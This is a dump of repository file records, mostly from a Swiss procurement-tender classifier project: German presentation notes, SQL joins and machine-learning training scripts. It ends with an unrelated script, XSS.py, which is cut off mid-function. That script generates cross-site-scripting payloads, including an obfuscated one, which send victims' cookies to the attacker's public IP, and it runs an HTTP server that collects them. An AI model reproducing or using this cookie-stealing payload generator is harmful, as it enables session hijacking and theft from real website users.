iteration['label']\n output['algorithm'] = algorithm\n output['attributes'] = \",\".join(iteration['attributes'])\n tmp.append(output)\n return pd.DataFrame(tmp)\n\n def to_json(self, **kwargs):\n return json.dumps(self.list, **kwargs)\n\n def to_file(self, filename):\n with open(filename, 'w') as fp:\n json.dump(self.list, fp, indent=4, sort_keys=True)\n\n def import_file(self, filename, force=False):\n if len(self.list) and not force:\n warnings.warn(\"Loaded Collection, pls add force=True\")\n else:\n with open(filename, 'r') as fp:\n self.list = json.load(fp)\n" }, { "alpha_fraction": 0.7682403326034546, "alphanum_fraction": 0.7939913868904114, "avg_line_length": 28.125, "blob_id": "5622ee7d413ec107832223dee45c1532ebbb84c2", "content_id": "dcb63d6ca193f5812871500b3b7af79592c3f79d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 235, "license_type": "no_license", "max_line_length": 48, "num_lines": 8, "path": "/doc/journal.md", "repo_name": "digital-sustainability/swiss-procurement-classifier", "src_encoding": "UTF-8", "text": "# Vorgang\n\n1. Datenbschreibung: \n2. Priorisierung der verfügbaren Variablen\n3. Genauere Analyse der Variablen. \n 1. Variablen Typ beschreiben\n 2. Aufbereitung für ML Algorithmus\n4. Verschiedene Clustering Algorithmen bestimmen\n" }, { "alpha_fraction": 0.8044382929801941, "alphanum_fraction": 0.8044382929801941, "avg_line_length": 54.46154022216797, "blob_id": "596c1196792a4a4bbcca9dd4f04f50918e1d90e3", "content_id": "f264c4ec22e95256dcc2c4fbf05897b0f11a810a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "SQL", "length_bytes": 721, "license_type": "no_license", "max_line_length": 95, "num_lines": 13, "path": "/db-queries/number-of-rows-for-institution.sql", "repo_name": "digital-sustainability/swiss-procurement-classifier", "src_encoding": "UTF-8", "text": "SELECT alles.institution, count(*) as count FROM (\n SELECT anbieter.institution, ausschreibung.meldungsnummer\n FROM beruecksichtigteanbieter_zuschlag\n JOIN zuschlag ON zuschlag.meldungsnummer = beruecksichtigteanbieter_zuschlag.meldungsnummer\n JOIN anbieter ON beruecksichtigteanbieter_zuschlag.anbieter_id = anbieter.anbieter_id\n JOIN projekt ON zuschlag.projekt_id = projekt.projekt_id\n JOIN auftraggeber ON projekt.auftraggeber_id = auftraggeber.auftraggeber_id\n JOIN ausschreibung ON projekt.projekt_id = ausschreibung.projekt_id\n WHERE anbieter.institution IS NOT NULL\n GROUP BY ausschreibung.meldungsnummer, anbieter.institution\n) alles\nGROUP BY alles.institution\nORDER BY COUNT(*) DESC;\n" }, { "alpha_fraction": 0.8032786846160889, "alphanum_fraction": 0.8032786846160889, "avg_line_length": 24.41666603088379, "blob_id": "f6df6301b4187048642354e07696af004f88fbef", "content_id": "10ae42614ebe2cb9153c5d062e15e0781549c1fa", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 306, "license_type": "no_license", "max_line_length": 143, "num_lines": 12, "path": "/dbs/README.md", "repo_name": "digital-sustainability/swiss-procurement-classifier", "src_encoding": "UTF-8", "text": "# Daten Sammlung von Runs mit unterschiedlichen Configs\n\nFolgendes wurde variiert:\n\n- Attribute\n- Parameter der ML Algorithmen\n- Anbieter\n\n\n# Comments zu Daten\n\n- `dbs/sql-query-fix.json` - Verschiedene Implementierung der Datenaufbereitung mussten verglichen werden, damit sie zum selben Resultat führen\n" }, { "alpha_fraction": 0.8116563558578491, "alphanum_fraction": 0.8124934434890747, "avg_line_length": 87.45370483398438, "blob_id": "65da8e82152bd7f1d0dbab69c6b1304325bbbdc8", "content_id": "2c4b7014853b80fcac2d971612fd2015a9e6db72", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 9672, "license_type": "no_license", "max_line_length": 429, "num_lines": 108, "path": "/doc/presentationAlex.md", "repo_name": "digital-sustainability/swiss-procurement-classifier", "src_encoding": "UTF-8", "text": "\n\n### Swiss Procurement -- Jan (2m)\n\n### Problem description -- Jan (1m)\n\n# Aim -- Alex (1m)\n- Wie gezeigt ist der Prozess nicht optimal\n- Jetztiger Prozess legt man sich auf CPVs fest und erhält so eine limitierte Auswahl\n- **Gefahr**: Es werden Ausschreibungen übersehen, wenn man seine Filter nicht gut genung setzt *oder* man muss zu viele Ausschreibungen durchkämmen. Ausserdem kostet der ganze Prozess Zeit und Aufwand\n- **Ideal**: Diesen Prozess weiter automatisieren.\n\t- Dafür ist jedoch Wissen über die einzelene Auftraggeber, die Ausschreigungen und Anbieter nötig\n- Wo kriegen wir diese Wissen her und wie implementieren wir es in einen automatisierten Prozess?\n\t- Möglichkeit die von der FDN gesammelten Beschaffungsdaten als das \"Wissen\" zu verwenden\n\t- Durch ein \"datengetriebenes\" Vorgehen aus den Daten lernen und den Prozess automatisieren\n- Und so Business Value zu liefern: Gleich gute oder bessere Ausschreigungsauswahl, schnellere Prozesse, weniger Aufwand, mehr Markttransparenz wenn alle passenden Ausschreibungen ersichtlich werden, Passende Anbiert für die jeweiligen Ausschreibungen\n- Ziel der Arbeit: Ist mit der vorhandenen Datengrundlage eine Aussage über interessante Ausschreibungen möglich? --> Erste Implementation\n\n\n\n# Methodology -- Alex (1m)\n\n- Wie wir vorgegangen sind spiegelt sich gleich im Rest der Präsentation wieder:\n- Zuerst eine Übersicht über alle Daten verschafft, einige desktiptive Analysen duchgeführt und die verschiedenen Abhängigkeiten studiert\n- Dann in die Welt des statistischen Lernens eingearbeitet um eine Idee zu erhalten, wie man aus Daten eine Entscheidungsmethodik gestalten kann\n- Von bestehenden Machine Learning Algorithmen den Passenden ausgewählt.\n- Danach haben wir uns für einen Lerndatensatz entschieden, zu welchem wir sukzessive einzelne Attribute zuerst bereinigt und dann in den Lernprozess aufgenommen haben\n\n\n\n# Tools\n- Umsetzung in der Programmiersprache Python, mit Libraries Pandas & Numpy für das Datahandling und SciKit Learn für die nötigen Machine Learning Instrumente (open source und community driven).\n- Mit Jupyter Notebook ist ein Werkzeug, in welchem Daten als Code Snippets in Zellen aneinander gekettet werden. So ist der Werdegang des Codes später einfach nachvollzieh- und reproduzierbar\n- Daten genauer kennenlernen: Jan\n\n### Data presentation -- Jan (3m)\n\n# Machine Learning (ML) – Terminology\n- Kurz einige Begriffe klären\n- Was ist eigentlich ML? SAS Institutn erklärt es ziemlich kurz und präzise:\n- \"*Machine learning* is a method of data analysis that automates analytical model building.\"\n- \"[...] idea that systems can learn from data, identify patterns and make decisions with minimal human intervention.\"\n- ML wird in zwei (vier) grosse Kategorien geteilt\n- Beim Supervised ML versucht das System den Zusammenhang von Input (*predictors*) und Outputvariablen (*responses*) zu verstehen und diesen in einem mathematischen Modell festzuhalten. Um diese Verhältnis zu \"lernen\" benötigt man beim Supervised Learning angaben über die \"Richtigkeit\" von Zusammenhängen. Die Daten müsssen also mit einer Art Label versehen sein.\n- Beim Unsupervised learning sind die Daten nicht nicht gelabelt, es fehlt also ein offensichtlicher Output. Hier versucht man eher die Daten zu erkunden und zu verstehen, indem man z.B. Cluster bildet oder die Dimensionen der Daten zu verringern um daraus explorative Schlüsse zu ziehen\n\n\n\n# ML – Situational Assessment\n- Um nun eine Kategorie ...\n- Unser grosses Problem war, dass wir für Supervised learning nicht die nötigen Responses zur Verfügung hatten: Wir können aus unsern Daten zwar herauslesen, wer eine Auschreigung gewonnen hat, nicht aber für welche Ausschreibungen sich ein Anbieter generell interessiert, oder für sich die Anbieter nicht interessieren!\n- Im Pool aller Ausschreibungen befinden sich folglich Interessante und nicht interessante Objekte\n- Da uns also die Unterscheidung in negative und positive Responses fehlt, haben wir uns für unsupervised learning entschieden.\n- Wir wollten aufgrund vergangener gewonnener Ausschreibungen verschieden Cluster bilden, zu denen dann für neue Ausschreibungen eine gewissen Ähnichkeitsnähe im Mehrdimensionalen Raum messen wollten. Wenn die neue Ausschreibung in diesem Raum nahe des \"interessnaten\" Clusters angesiedelt ist, können wir davon ausgehen, dass sich der Anbieter dafür interessieren könnte.\n- **Beim Testen diesen Ansatzes ist uns jedoch aufgefallen, das uns bei diesem Vorgehen ein klare Messbarkeit des Erfolges fehlte.**\n- **Die Überprüfung der Implementation könnten wir entweder nur mit viel Domänenwissen des jeweiligen Abieters überprüfen [XXX Beispiel einfügen]**\n- **ODER wir müssten die erfolgreich gewonnen Ausschreibungen zu Testzwecken benutzen, was jedoch wiederum die Zusammensetzung des Clusters beeinträchtigen könnte**\n- **Zudem wäre es wohl schwierig geworden eine Clusterthreshold festzusetzen, die sich wohl in den unterschiedlichen Businessdomänen sehr unterscheidelich zusammensetzen würde**\n- **[XXX Check all the bold again]**\n- Daher sind wir wieder zurück auf Feld eins und kamen dann auf die Idee doch dem Supervised Ansatz zu folgen: Unsere Idee lag darin, dass wir die gewonnenen Ausschreibungen als Positive responses behandeln und alle anderen als negative Responses. Ausschreibungen, die für den Anbieter ebenfalls positiv wären, werden so zwar als negativ trainiert, im zweifelsfall jedoch (eigentlich fälschlicherweise) als positiv klassifiziert.\n\n\n# ML – Algorithm Choice\n- Bei der Wahl des ML Algo gilt das sogenannt \"No Free Lunch\" Theorem: Es gibt keinen idealen Algo für jedes Problem. Grösse und Struktur des Datensets haben einen Einfluss, plus viele weitere Faktoren\n- Zur Wahl des eines bestimmten ML Algorithmus sind wir ungefähr der Roadmap von SAS Institute Inc. und der Empfehlung von SciKit Learn gefolt. Das Vorgehen haben wir in dieser vereinfachten Darstellung zusammengefasst.\n- RF weil schnelle Einarbeitung, intuitiv\n- Genaue Feinheit zur Algorithmuswahl werden in der Arbeit besorce\n\n\n\t- *Neural Network*: Haben wir vorerst zurückgestellt. Das NN eignet sich zwar gut für Daten mit vielen Dimensionen, jedoch werden extrem viele Daten vorausgesetzt, um versteckte Layers zwischen In- und Output daten zu bilden\n\t- *Kernel SVM*: Von einer Implementation von Support Vector Machines haben wir vorest abgesehen, da wir als wir uns informiet haben sahen, dass Treebased Methods (folen) in der Praxis mehr Verwendung finden. Je nach Endresultaten werden wir aber noch auf SVMs zurückkehren\n\t- *Random Forsest*: Unsere erste Versuche haben wir dann mit dem RF gestartet...\n\t- *Gradient Boosting Tree* ...und sinde deshalb noch nicht zu GBT gelangt. Falls nötig, werden wir aber auch diese noch ausprobieren.\n\nBevor wir unsere ersten Resulate präsentieren geben wir euch einen kurzen RF Überblick\n\n\n\n\n# ML – Decision Tree\n\nRF besteht aus vielen DT\n\n- Hierzu müssen wir etwas weiter oben mit dem Entscheidungsbaum begebinnen:\n- Der DT ist funktioniert ziemlich intuitiv. Jeder Kontenpunkt enthält ein Entscheidungspunk der zu einem nächsten Entscheidungskonten führt. Diese Baumstruktur endet schlussendlich in einer Entscheidung, in unserem Fall einer Klassifikation in \"interessante und uninteressante Ausschreibung\".\n- Im Lernprozess werden die Bäume von den Leafnodes aus rekursiv aufgebaut, also Entscheidungsregeln aus den Ergebnissen abgeleitet (induziert).\n\n# ML – Random Forest\nDer Random Forest besteht nur aus vielen solcher zufällig gewählter Entscheidungsbäume mit welchen eine Klassifikation erstellt wird. Am Schluss wird per Mehrheitsprinzp die häufigste Klassifikation gewählt\n\n# ML – Success Metrics\n- Wie messen wir den Erfolg unseres Waldes?\n- Wir können nicht Wahllos Ausschreibungen für einzelne Anbieter testen, da wir in den meisten Fällen **zu wenig über die Präferenzen, Arbeitsweisen, Expertiesen und das Arbeitsumfeld der einzelnen Anbieter wissen.** Deshalb verwenden wir einige herkömmliche **ML Erfolgskriterien**:\n- Bevor ein erstes Modell für einen Anbieter trainiert wird, werden ca. **25% der Daten** für anschliessende testzwecken zurückgehalten. Diese werden klassifiziert (in für den Anbieter interessante / uninteressante Ausschreibungen). Da wir die \"Lösungen\" haben können wir dann unser System evaluieren.\n- **Tabelle die die Wirklichkeit und die Einstufung des System aufzeigen**\n- *True Positives* sind Ausschreibungen, für die sich der Anbieter interessiert (und vom System als solche erkannt wurden)\n- *True Negatives* sind die für die sich der Anbieter (wahrscheinlich) nicht interessiert und richig erkannt wurden\n- *False Negatives* hätten vom System als interessant erkennt werden sollen§\n- Und *False Positives* wurden als interessant erkannt obwohl sie das nicht waren.\n- Uns interssieren vor allem die letzten beiden: Wir wollen FN verringern, aber nicht zwingend die FPs. Diese könnten ja für den Anbieter ebenfalls interessante Ausschreibungen sein, da sie den Positiven Response Pool Ähnlich sind. Das könnten also Ausschreibungen sein, für welchen der Anbieter entweder keinen Zuschlag erhalten hat oder eine interessante Ausschreibung für die er sich nicht beworben hat.\n- In einer Anwendung würde man diese FP dem User evt. noch einmal aufzeigen, damit er/sie diese persöndlich als Interessant/Uninteressant markieren kann und das System so weiter verbessern\n- Es gibt dann noch weitere Evaluierungskriterien wie die Genauigkeit\n\n### Model generation process -- Jan (5m)\n\n# Current progress -- Alex & Jan ()\n\ncurrent attributes:\n - zip\n - cpv\n\n\n" }, { "alpha_fraction": 0.7757009267807007, "alphanum_fraction": 0.7757009267807007, "avg_line_length": 52.5, "blob_id": "9894af3f63deb743476b881568089b5ec56ac8fe", "content_id": "16fd1de6c3d98fbc37bcf61aea0c2d675a37e913", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 214, "license_type": "no_license", "max_line_length": 142, "num_lines": 4, "path": "/doc/README.md", "repo_name": "digital-sustainability/swiss-procurement-classifier", "src_encoding": "UTF-8", "text": "# Configure Database connection\n\nCopy config.ini.default to config.ini\npandoc -t revealjs -V revealjs-url=http://lab.hakim.se/reveal-js -V theme=white -s doc/presentation.md -o doc/presentation.html --css test.css\n" }, { "alpha_fraction": 0.8531468510627747, "alphanum_fraction": 0.8531468510627747, "avg_line_length": 52.625, "blob_id": "7e132f9ec755ed5953c25268bf4b2117f35e6161", "content_id": "567f863b8876b32654514082e9f0486c6b414cea", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "SQL", "length_bytes": 429, "license_type": "no_license", "max_line_length": 91, "num_lines": 8, "path": "/db-queries/all-rows.sql", "repo_name": "digital-sustainability/swiss-procurement-classifier", "src_encoding": "UTF-8", "text": "SELECT *\nFROM beruecksichtigteanbieter_zuschlag\nJOIN zuschlag ON zuschlag.meldungsnummer = beruecksichtigteanbieter_zuschlag.meldungsnummer\nJOIN anbieter ON beruecksichtigteanbieter_zuschlag.anbieter_id = anbieter.anbieter_id\nJOIN projekt ON zuschlag.projekt_id = projekt.projekt_id\nJOIN auftraggeber ON projekt.auftraggeber_id = auftraggeber.auftraggeber_id\nJOIN ausschreibung ON projekt.projekt_id = ausschreibung.projekt_id\n;\n" }, { "alpha_fraction": 0.804347813129425, "alphanum_fraction": 0.804347813129425, "avg_line_length": 89, "blob_id": "6938d09d20d00e5da94101df816493bf0ccabbf1", "content_id": "9763e36c8ae30d283233d28f6314c6882666595b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 93, "license_type": "no_license", "max_line_length": 89, "num_lines": 1, "path": "/dbs/mai/README.md", "repo_name": "digital-sustainability/swiss-procurement-classifier", "src_encoding": "UTF-8", "text": "# Verschieden Runs, welche für die Auswertung und Grafiken in der Arbeit verwendet wurden\n\n\n" }, { "alpha_fraction": 0.6455284357070923, "alphanum_fraction": 0.6455284357070923, "avg_line_length": 29.75, "blob_id": "df98e66e8a05a15eec2b2d91226a8b8409769f16", "content_id": "dba15ea04a473b5c7d2b39b6435d615cac940a4d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 615, "license_type": "no_license", "max_line_length": 212, "num_lines": 20, "path": "/db.py", "repo_name": "digital-sustainability/swiss-procurement-classifier", "src_encoding": "UTF-8", "text": "import configparser\nimport sqlalchemy\n\n# git update-index --skip-worktree config.ini\n\n\nconfig = configparser.ConfigParser()\n\n\nconfig.read(\"config.ini\")\n\nconnection_string = 'mysql+' + config['database']['connector'] + '://' + config['database']['user'] + ':' + config['database']['password'] + '@' + config['database']['host'] + '/' + config['database']['database']\n\nif __name__ == \"__main__\":\n for item, element in config['database'].items():\n print('%s: %s' % (item, element))\n print(connection_string)\nelse:\n engine = sqlalchemy.create_engine(connection_string)\n connection = engine.connect()\n" }, { "alpha_fraction": 0.5956702828407288, "alphanum_fraction": 0.604995846748352, "avg_line_length": 31.45945930480957, "blob_id": "23b951b9587275ca2293aed9680ef34a90c85b2d", "content_id": "4d9076b2062948837a39b1bbb1dded0db4065ba7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6007, "license_type": "no_license", "max_line_length": 152, "num_lines": 185, "path": "/runIterations.py", "repo_name": "digital-sustainability/swiss-procurement-classifier", "src_encoding": "UTF-8", "text": "from learn import ModelTrainer\nfrom collection import Collection\nimport pandas as pd\n\nimport logging\nimport traceback\nimport os\n\nlogging.basicConfig()\nlogger = logging.getLogger(__name__)\nlogger.setLevel(logging.INFO)\n\n# === THESIS ===\n\nanbieter_config = {\n 'Construction': [\n 'Alpiq AG',\n 'KIBAG',\n 'Egli AG',\n ],\n 'IT': [\n 'Swisscom',\n 'ELCA Informatik AG',\n 'Unisys',\n ],\n 'Other': [\n 'Kummler + Matter AG',\n 'Thermo Fisher Scientific (Schweiz) AG',\n 'AXA Versicherung AG',\n ],\n 'Diverse': [\n 'Siemens AG',\n 'ABB',\n 'Basler & Hofmann West AG',\n ]\n}\n\n\n\n# === TESTING ===\n\n#anbieter = 'Marti AG' #456\n#anbieter = 'Axpo AG' #40\n#anbieter = 'Hewlett-Packard' #90\n#anbieter = 'BG Ingénieurs Conseils' SA #116\n#anbieter = 'Pricewaterhousecoopers' #42\n#anbieter = 'Helbling Beratung + Bauplanung AG' #20\n#anbieter = 'Ofrex SA' #52\n#anbieter = 'PENTAG Informatik AG' #10\n#anbieter = 'Wicki Forst AG' #12\n#anbieter = 'T-Systems Schweiz' #18\n#anbieter = 'Bafilco AG' #20\n#anbieter = '4Video-Production GmbH' #3\n#anbieter = 'Widmer Ingenieure AG' #6\n#anbieter = 'hmb partners AG' #2\n#anbieter = 'Planmeca' #4\n#anbieter = 'K & M Installationen AG' #4\n\n\nselect = (\n \"ausschreibung.meldungsnummer, \"\n \"anbieter.institution as anbieter_institution, \"\n \"auftraggeber.beschaffungsstelle_plz, \"\n \"ausschreibung.gatt_wto, \"\n \"ausschreibung.sprache, \"\n \"ausschreibung.auftragsart, \"\n \"ausschreibung.auftragsart_art, \"\n \"ausschreibung.lose, \"\n \"ausschreibung.teilangebote, \"\n \"ausschreibung.varianten, \"\n \"ausschreibung.bietergemeinschaft, \"\n \"cpv_dokument.cpv_nummer as ausschreibung_cpv\"\n)\n\nattributes = ['ausschreibung_cpv', 'auftragsart_art', 'beschaffungsstelle_plz', 'auftragsart', 'gatt_wto','lose','teilangebote', 'varianten','sprache']\n#attributes = ['auftragsart_art', 'beschaffungsstelle_plz', 'auftragsart', 'ausschreibung_cpv', 'gatt_wto','teilangebote', 'sprache']\n#attributes = ['ausschreibung_cpv', 'auftragsart_art', 'beschaffungsstelle_plz', 'auftragsart', 'gatt_wto','lose','teilangebote', 'varianten','sprache']\n# attributes = [\n# [ 'ausschreibung_cpv', 'auftragsart_art' ],\n# [ 'ausschreibung_cpv', 'beschaffungsstelle_plz' ],\n# [ 'ausschreibung_cpv', 'auftragsart' ],\n# [ 'ausschreibung_cpv', 'gatt_wto' ],\n# [ 'ausschreibung_cpv', 'lose' ],\n# [ 'ausschreibung_cpv', 'teilangebote' ],\n# [ 'ausschreibung_cpv', 'varianten' ],\n# [ 'ausschreibung_cpv', 'sprache' ]\n# ]\n\nconfig = {\n # ratio that the positive and negative responses have to each other\n 'positive_to_negative_ratio': 0.5,\n # Percentage of training set that is used for testing (Recommendation of at least 25%)\n 'test_size': 0.25,\n 'runs': 100,\n #'enabled_algorithms': ['random_forest'],\n 'enabled_algorithms': ['random_forest', 'decision_tree', 'gradient_boost'],\n 'random_forest': {\n # Tune Random Forest Parameter\n 'n_estimators': 100,\n 'max_features': 'sqrt',\n 'max_depth': None,\n 'min_samples_split': 4\n },\n 'decision_tree': {\n 'max_depth': 30,\n 'max_features': 'sqrt',\n 'min_samples_split': 4\n },\n 'gradient_boost': {\n 'n_estimators': 100,\n 'learning_rate': 0.1,\n 'max_depth': 30,\n 'min_samples_split': 4,\n 'max_features': 'sqrt'\n }\n}\n\n\nclass IterationRunner():\n\n def __init__(self, anbieter_config, select, attributes, config):\n self.anbieter_config = anbieter_config\n self.select = select\n self.attributes = attributes\n self.config = config\n self.trainer = ModelTrainer(select, '', config, attributes)\n self.collection = Collection()\n\n def run(self):\n for label, anbieters in self.anbieter_config.items():\n logger.info(label)\n for anbieter in anbieters:\n for attr_id in range(len(self.attributes)):\n att_list = self.attributes[:attr_id+1]\n self.singleRun(anbieter, att_list, label)\n self.trainer.resetSQLData()\n\n def runAttributesEachOne(self):\n for label, anbieters in self.anbieter_config.items():\n logger.info(label)\n for anbieter in anbieters:\n for attr in self.attributes:\n att_list = [attr]\n self.singleRun(anbieter, att_list, label)\n self.trainer.resetSQLData()\n\n def runAttributesList(self):\n for label, anbieters in self.anbieter_config.items():\n logger.info(label)\n for anbieter in anbieters:\n for att_list in self.attributes:\n self.singleRun(anbieter, att_list, label)\n self.trainer.resetSQLData()\n\n def runSimpleAttributeList(self):\n for label, anbieters in self.anbieter_config.items():\n logger.info(label)\n for anbieter in anbieters:\n self.singleRun(anbieter, self.attributes, label)\n self.trainer.resetSQLData()\n\n def singleRun(self, anbieter, att_list, label):\n logger.info('label: {}, anbieter: {}, attributes: {}'.format(label, anbieter, att_list))\n try:\n self.trainer.attributes = att_list\n self.trainer.anbieter = anbieter\n output = self.trainer.run()\n output['label'] = label\n self.collection.append(output)\n filename = os.getenv('DB_FILE', 'dbs/auto.json')\n self.collection.to_file(filename)\n except Exception as e:\n traceback.print_exc()\n print(e)\n print('one it done')\n\nrunner = IterationRunner(anbieter_config, select, attributes, config)\n\nif __name__ == '__main__':\n # runner.collection.import_file('dbs/auto.json')\n runner.run()\n runner.runAttributesEachOne()\n runner.runAttributesList()\n # label, anbieters = next(iter(runner.anbieter_config.items()))\n # print(label)\n" }, { "alpha_fraction": 0.6897141337394714, "alphanum_fraction": 0.7065721750259399, "avg_line_length": 31.20472526550293, "blob_id": "2c5a3ddfe1cc071cffedd7a958cebbff709a8043", "content_id": "e0f80caabf2cb34c00d44c6811b6592a19ba745e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 4124, "license_type": "no_license", "max_line_length": 298, "num_lines": 127, "path": "/doc/presentationJan.md", "repo_name": "digital-sustainability/swiss-procurement-classifier", "src_encoding": "UTF-8", "text": "---\ntitle: Zwischenpräsentation\nauthor: Alex Kräuchi & Jan Dietrich\ndate: Dezember 2018\n---\n\n# Swiss Procurement (intro and problem description) -- Jan (2m)\n\n\n- procurement example\n- stats & facts (simap)\n - <https://www.simap.ch/shabforms/COMMON/application/applicationGrid.jsp?template=1&view=1&page=/MULTILANGUAGE/simap/content/start.jsp&language=EN>\n - <https://www.beschaffungsstatistik.ch/uebersicht/wichtige_informationen>\n- shortcomings of the current process\n\n# Problem description -- Jan (1m)\n\nUm die Schwierigkeiten im aktuellen Beschaffungsprozess zu verstehen, beschreibe ich, wie ein fiktiver Anbieter interessante Ausschreibungen findet. Es fängt damit an, dass er auf die Webseite simap.ch und auf der linken Seite die folgende Navigation verwendet um einen ersten Eindruck zu gewinnen.\nÖffnen des Links\nNach dem Wort Heizungsanlage suchen, danach CPV ganz grob eingrenzen und nochmals danach suchen.\n\n\n# Aim -- Alex (1m)\n\n- Imitate and possibly improve the current process by automating it\n- Use a data driven approach\n- **Business value**: Reduce Effort, get better results\n\n# Methodology & Tools -- Alex (0.5m)\n\n- Data as a base\n- Specifiy a learning approach\n- Agree on a machine learning algorithm\n- Taking an iterative approach <sup id=\"data-analysis-steps\">[1](#lib-data-analysis-steps)</sup>\n\n<img src=\"./presentation/data-analysis-steps.png\">\n\n- Tools:\n\t- Python (Pandas, Numpy, Scikit Learn\n\t- Jupyter Notebook\n\n[<img src=\"./presentation/sklearn-logo.png\">](https://github.com/scikit-learn/scikit-learn)\n\n\n# Data presentation -- Jan (3m)\n\n- fdn simap database (crawled database from simap)\n- bidder, contractor, tender, award\n- attributes:\n - cpv\n - zip\n - watt_gto\n ...\n\n# Machine learning -- Alex (3m)\n\n- \"*Machine learning* is a method of data analysis that automates analytical model building.\" <sup\">[2](#lib-ml)</sup>\n- \"[...] idea that systems can learn from data, identify patterns and make decisions with minimal human intervention.\" <sup id=\"ml\">[2](#lib-ml)</sup>\n\n| Supervised Learning | Unsupervised Learning |\n|---------------------|--------------------------|\n| Regression | Clustering |\n| Classification | Dimensionality Reduction |\n\n# ML – Situational Assessment\n<img src=\"./presentation/simap-database.png\">\n\n<sup id=\"simap-database\">[3](#lib-simap-database)</sup>\n\n# ML – Algorithm Choice\n- “No Free Lunch” theorem <sup id=\"nofreelunch\">[4](#lib-nofreelunch)</sup>\n\n<img src=\"./presentation/algo-map.png\">\n\n<sup id=\"algo-map\">[5](#lib-algo-map)</sup>\n\n# ML – Decision Tree\n<img src=\"./presentation/decision-tree.png\">\n\n<sup id=\"decision-tree\">[6](#lib-decision-tree)</sup>\n\n# ML – Random Forest\n<img src=\"./presentation/random-forest.png\">\n\n<sup id=\"random-forest\">[7](#lib-random-forest)</sup>\n\n# ML – Success Metrics\n\t- tn, tp, fn, fp\n\t- accuracy\n\t- cross validation\n\t- f1 score\n\n\n# Model generation process -- Jan (5m)\n\n**iterative process**\n\ngraphic for ...\n\n1. select and prepare attributes\n2. train model\n3. model evaluation\n\n# Current progress -- Alex & Jan ()\n\ncurrent attributes:\n - zip\n - cpv\n\n - To test:\n \t- Tenders from similar domains\n \t- Bidders with small set of positive responses\n\n# Sources\n<a name=\"lib-data-analysis-steps\">1</a>: <http://www.dataperspective.info/2014/02/data-analysis-steps.html> [↩](#data-analysis-steps)\n\n<a name=\"lib-simap-database\">2</a>: <http://beschaffungsstatistik.ch> [↩](#simap-database)\n\n<a name=\"lib-ml\">3</a>: <https://www.sas.com/en_us/insights/analytics/machine-learning.html> [↩](#ml)\n\n<a name=\"lib-nofreelunch\">4</a>: <https://elitedatascience.com/machine-learning-algorithms?imm_mid=0fa832&cmp=em-data-na-na-newsltr_20180117> [↩](#nofreelunch)\n\n<a name=\"lib-algo-map\">5</a>: <https://blogs.sas.com/content/subconsciousmusings/2017/04/12/machine-learning-algorithm-use> [↩](#algo-map)\n\n<a name=\"lib-decision-tree\">6</a>: <https://www.datacamp.com/community/tutorials/decision-trees-R> [↩](#decision-tree)\n\n<a name=\"lib-random-forest\">7</a>: <https://www.researchgate.net/figure/Architecture-of-the-random-forest-model_fig1_301638643> [↩](#random-forest)\n\n\n\n" } ]
20
RomaGeyXD/XSS
https://github.com/RomaGeyXD/XSS
54fa81d43af23f9ee0e155d95855ec14b2ea3a12
9f563fea9d6683ae07475d0e38f44b1a6bc00112
ae96f415acd4afdb1e49b2ce442da31792e0f4f2
refs/heads/main
2023-07-31T18:12:50.570430
2021-09-11T16:53:18
2021-09-11T16:53:18
405,430,672
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.800000011920929, "alphanum_fraction": 0.800000011920929, "avg_line_length": 8, "blob_id": "d1dfc2ac06f5d23cc04b6df802d95c8908182dcc", "content_id": "91d5b986dc0212833f6671b2927451f9b96b99ce", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 20, "license_type": "no_license", "max_line_length": 8, "num_lines": 2, "path": "/requirements.txt", "repo_name": "RomaGeyXD/XSS", "src_encoding": "UTF-8", "text": "requests\r\nargparse\r\n" }, { "alpha_fraction": 0.569979727268219, "alphanum_fraction": 0.5817444324493408, "avg_line_length": 33.72463607788086, "blob_id": "89332f9c99307b6640fa2738b6bdce7ac757fff2", "content_id": "9bcbed1a1f095235ee44ffff88f04ecc359995df", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2465, "license_type": "no_license", "max_line_length": 303, "num_lines": 69, "path": "/XSS.py", "repo_name": "RomaGeyXD/XSS", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\r\n\r\nimport argparse\r\nimport os\r\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\r\nfrom urllib.parse import parse_qs\r\nfrom requests import *\r\nip = get('https://api.ipify.org').text\r\n\r\nparser = argparse.ArgumentParser(description='creates xss payloads and starts http server to capture responses and collect cookies', epilog='xssthief --error 10.10.10.50' + '\\n' + 'xssthief --image 10.10.10.50' + '\\n' + 'xssthief --obfuscated 10.10.10.50', formatter_class=argparse.RawTextHelpFormatter)\r\nparser.add_argument('lhost', help='ip address of listening host')\r\nparser.add_argument('-e', '--error', action='store_true', help='create error payload')\r\nparser.add_argument('-i', '--image', action='store_true', help='create image payload')\r\nparser.add_argument('-o', '--obfuscated', action='store_true', help='create obfuscated payload')\r\nargs = parser.parse_args()\r\n\r\nlhost = ip\r\n\r\nclass handler(BaseHTTPRequestHandler):\r\n def do_GET(self):\r\n qs = {}\r\n path = self.path\r\n if '?' in path:\r\n path, temp = path.split('?', 1)\r\n qs = parse_qs(temp)\r\n print(qs)\r\n\r\ndef serve():\r\n print('Starting server, press Ctrl+C to exit...\\n')\r\n address = (lhost, 80)\r\n httpd = HTTPServer(address, handler)\r\n try:\r\n httpd.serve_forever()\r\n except KeyboardInterrupt:\r\n httpd.server_close()\r\n print('\\nBye!')\r\n\r\ndef obfuscate():\r\n js = '''document.write('<img src=x onerror=this.src=\"http://''' + lhost + '''/?cookie=\"+encodeURI(document.getElementsByName(\"cookie\")[0].value)>');'''\r\n ords = ','.join([str(ord(c)) for c in js])\r\n payload = '<img src=\"/><script>eval(String.fromCharCode(' + ords + '))</script>\" />'\r\n return payload\r\n\r\ndef 